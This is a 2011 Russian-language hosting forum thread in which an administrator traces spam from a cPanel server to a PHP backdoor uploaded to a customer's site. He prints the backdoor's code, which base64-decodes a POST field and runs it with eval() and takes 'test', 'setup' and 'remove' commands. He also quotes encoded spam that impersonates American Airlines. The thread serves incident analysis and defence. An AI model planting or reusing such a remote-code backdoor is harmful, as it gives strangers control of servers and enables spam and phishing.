Вернуться   Форум об интернет-маркетинге > >
Ответ
 
Опции темы
Старый 14.12.2011, 22:28   #1
Хостинг в Канаде
 
Аватар для Romka_Kharkov
 
Регистрация: 08.04.2009
Адрес: 0.0.0.0/0
Сообщений: 6,913
Репутация: 317640
Отправить сообщение для Romka_Kharkov с помощью ICQ Отправить сообщение для Romka_Kharkov с помощью MSN Отправить сообщение для Romka_Kharkov с помощью Skype™ Send Message via Jabber to Romka_Kharkov
Социальные сети Профиль в ВКонтакте

Exclamation До чего техника дошла (cPanel / [newmailcgi])

День добрый,

Пару дней расследовал происшествие на вверенном сервере, AOL жаловался что шел спам с машинки, трактовал какие-то письма, ID которых я не смог найти у себя в maillog, я сперва думал что это какой-то развод и кто-то подставляет AOL адреса для переписки, но реально все не так

Во первых письма слали на прямую минуя мой SMTP, отсюда полное отсутствие ID в очередях на моей стороне и.т.п, закрыл возможность коннектится на any:25 (outgoing), какое-то время продержалось, потом снова пошел спам, опять AOL жалуется, начал расследовать скрипты содержащие контент (из абузы), он практически однотипный, решил искать так, очень долго колбасил по винту, совпадений нуль.... скрипт в cpanel который уведомляет о том, что был залит какой либо скрипт с mail() и еже с ними функциями - молчит, колапс реальный.

Пришлось включить всевозможные хидеры в PHP , на perl написать wrapper спростенький и негодяй был идентифицирован, на некий сайт был залит php файлик который и служил рассыльщиком спама. Ну закончить бы на этом все и все... дак нет, заинтересовали меня нутри скрипта, начал изучать и понял почему cpanel скрипт ничего не обнаружил.

Код:
......

function send()
{
        $code = base64_decode($_POST["projectcode"]);

        eval($code);
}
написал доп. обработчик в тот же самый файлик и начал ждать, и ждать пришлось не долго, уже в течении получаса на указанный скрипт поступил POST запрос следующего содержания:

Цитата:
$messages = "YToxOntpOjA7YToxOntzOjc6Im1lc3NhZ2UiO3M6ODgzOiJ7RGVhciBDdXN0b21lcix8SGVsbG99PEJSPgoKPEJSPgoKRkxJR0hUIE5VTUJFUiB7QTg1M3xBQTc4MXxBQTYzNHxBOTE1fEE4Mjd8QUE3MTF8QUE5OTV
8QTk4MXxBOTI3==";


$froms =
"YToyNjp7aTowO2E6MTp7czo0OiJmcm9tIjtzOjQ0OiIiQW1lcmljYW4gQWlybGluZXMiIDxvcmRlci5pZFtOVU0tNF1AYWEuY29tPiI7fWk6MTthOjE6e3M6NDoiZnJvbSI7czo0MzoiIkFtZXJpY2FuIEFpcmxpbmVzIi
............";

$projectcode= "............";
etc...
Итого получается, что само тело вредоносного сценария засылается с каждым POST запросом... формируясь на стороне злоумышленника, потом оно кодируется, и уже на стороне зараженной машины выполняется в момент обращения к скрипту, таким образом никакие чекеры файловой системы не смогут обнаружить в этом сценарии подвоха.

Изучив то, что приходит вместе с POST ничего военного не открылось, обычный сценарий который собирает письмо и шлет его путем mail(); подставляя нужные значения в поля хидеров при формировании исходящего сообщения.

Возможно кому-то будет полезен сей опыт. Дерзайте!

С Уважением,
__________________
Есть около 15.000 ipv4 !!!
Качественный хостинг с 2005 года - лучшее клиентам!
Romka_Kharkov вне форума   Ответить с цитированием

Реклама
Старый 15.12.2011, 08:53   #2
iHead
iHead.ru
 
Аватар для iHead
 
Регистрация: 25.04.2008
Адрес: Kirov
Сообщений: 869
Репутация: 76775
Отправить сообщение для iHead с помощью ICQ
Социальные сети

По умолчанию Re: До чего техника дошла (cPanel / [newmailcgi])

ничего нового
iHead вне форума   Ответить с цитированием
Старый 15.12.2011, 09:40   #3
V(o)ViK
Профессор
 
Регистрация: 27.07.2008
Сообщений: 670
Репутация: 42209
Отправить сообщение для V(o)ViK с помощью ICQ

По умолчанию Re: До чего техника дошла (cPanel / [newmailcgi])

Romka_Kharkov, 25 tcp out разрешите только uid/gid от которого работает exim.
Тогда все будет в логах mta.
В exim в log_selector попробуйте включить +arguments, должно быть видно cwd=/home/user/....
Также полезно заглядывать в suexec_log )
V(o)ViK вне форума   Ответить с цитированием
Сказали спасибо:
Старый 15.12.2011, 15:13   #4
Romka_Kharkov
Хостинг в Канаде
 
Аватар для Romka_Kharkov
 
Регистрация: 08.04.2009
Адрес: 0.0.0.0/0
Сообщений: 6,913
Репутация: 317640
Отправить сообщение для Romka_Kharkov с помощью ICQ Отправить сообщение для Romka_Kharkov с помощью MSN Отправить сообщение для Romka_Kharkov с помощью Skype™ Send Message via Jabber to Romka_Kharkov
Социальные сети Профиль в ВКонтакте

ТопикСтартер Re: До чего техника дошла (cPanel / [newmailcgi])

Цитата:
Сообщение от V(o)ViK Посмотреть сообщение
Romka_Kharkov, 25 tcp out разрешите только uid/gid от которого работает exim.
Тогда все будет в логах mta.
В exim в log_selector попробуйте включить +arguments, должно быть видно cwd=/home/user/....
Также полезно заглядывать в suexec_log )
Насчет исхода по 25 я прекрасно понимаю, именно так и работает на всех серверах, логи Exim-a последнее время сократил, потому , что жрать места много начинают не серьезно, а так были расширенные просто сервер дали этот недавно вот с такой проблемой, видимо местные не смогли разобраться

Romka_Kharkov добавил 15-12-2011 в 16:14
Цитата:
Сообщение от iHead Посмотреть сообщение
ничего нового
Если вы ждали разоблачения теории заговора против человечества... то да.... ничего нового, а для меня честно говоря было вновь такое поведение спамера, обычно тупо скрипт заливают который или сам уже готов стрелять или передают на него куда стрелять.... а тут блин система целая, кусок кода POST запросом передается...... надо кстати наверное взвесить POST этот... ))) может на стадии php порезать можно по размеру ???

Кстати а кто в курсе eval() в "обычном коде" часто используется?

Последний раз редактировалось Romka_Kharkov; 15.12.2011 в 15:16.. Причина: Добавлено сообщение
Romka_Kharkov вне форума   Ответить с цитированием
Старый 15.12.2011, 15:35   #5
izbushka
Профессор
 
Аватар для izbushka
 
Регистрация: 08.06.2007
Адрес: Киев
Сообщений: 928
Репутация: 118832

По умолчанию Re: До чего техника дошла (cPanel / [newmailcgi])

Цитата:
Сообщение от Romka_Kharkov Посмотреть сообщение
надо кстати наверное взвесить POST этот... ))) может на стадии php порезать можно по размеру ???

Кстати а кто в курсе eval() в "обычном коде" часто используется?
POST там не такой большой будет. Это ж текст. Спамер его еще и заархивировать сможет, если надо будет. А вот загрузка файлов на сервер через POST пострадает от такого лимита.

А eval да, часто используется: посмотрел только phpBB и roundcube интерфейсы - там есть.

Последний раз редактировалось izbushka; 15.12.2011 в 15:47.. Причина: fgrep -R 'eval(' /path/www
izbushka вне форума   Ответить с цитированием
Старый 15.12.2011, 16:02   #6
Romka_Kharkov
Хостинг в Канаде
 
Аватар для Romka_Kharkov
 
Регистрация: 08.04.2009
Адрес: 0.0.0.0/0
Сообщений: 6,913
Репутация: 317640
Отправить сообщение для Romka_Kharkov с помощью ICQ Отправить сообщение для Romka_Kharkov с помощью MSN Отправить сообщение для Romka_Kharkov с помощью Skype™ Send Message via Jabber to Romka_Kharkov
Социальные сети Профиль в ВКонтакте

ТопикСтартер Re: До чего техника дошла (cPanel / [newmailcgi])

Цитата:
Сообщение от izbushka Посмотреть сообщение
POST там не такой большой будет. Это ж текст. Спамер его еще и заархивировать сможет, если надо будет. А вот загрузка файлов на сервер через POST пострадает от такого лимита.

А eval да, часто используется: посмотрел только phpBB и roundcube интерфейсы - там есть.
Да логично, там пара байт реально выходит Судя по логам к одному из акаунтов просто пароль был подобран, после всех моих нововведений сменил еще и пароль клиенту этому, по логам видно IP левый какой-то с паролем правильным .... Логи апача не стал пока изучать, если опять зальют после смены пароля тогда уже буду изучать логи.... Хотя... в том сценарии который я цитировал есть несколько переключателей, выглядит это так:

Код:
if (isset($_POST["action"]))
{
        switch ($_POST["action"])
        {
                case "test":
                        test();
                        break;
                case "setup":
                        projectcodes_setup();
                        break;
                case "remove":
                        projectcodes_remove();
                        break;
                default:
                        break;
        }
        return;
}
Судя по данному коду я понимаю, что злоумышленник может давать разные команды скрипту, а не тупо слать туда POST и все дела, но беда заключается в том, что в секциях функций project_*() и test() опять же есть часть данных которая приходит с пост запросом, отлавливать остальные actions как-то не сильно хочется, предполагаю там куски кода которые отвечают за скачивание какого либо файла в указанную директорию, а remove ... ну как бы удаление, если вдруг надо

В общем честно, для меня не ожиданный ход со стороны спамеров Любая cPanel по умолчанию хавает скрипты с mail(), при этому в панели есть SMTP Tweak который как раз закрывает SMTP на выход всем кроме mailmail, bla bla.... при таком положении дел фактически слать можно только через 127.0.0.1:25.... то есть все письма будут промаркированы..... а соответственно и вредитель будет моментально найден Непонятно
Romka_Kharkov вне форума   Ответить с цитированием
Сказали спасибо:
Ответ

Метки
how to stop spam , info , solved , spam



Опции темы

Быстрый переход


Регистрация Справка Календарь Поддержка Все разделы прочитаны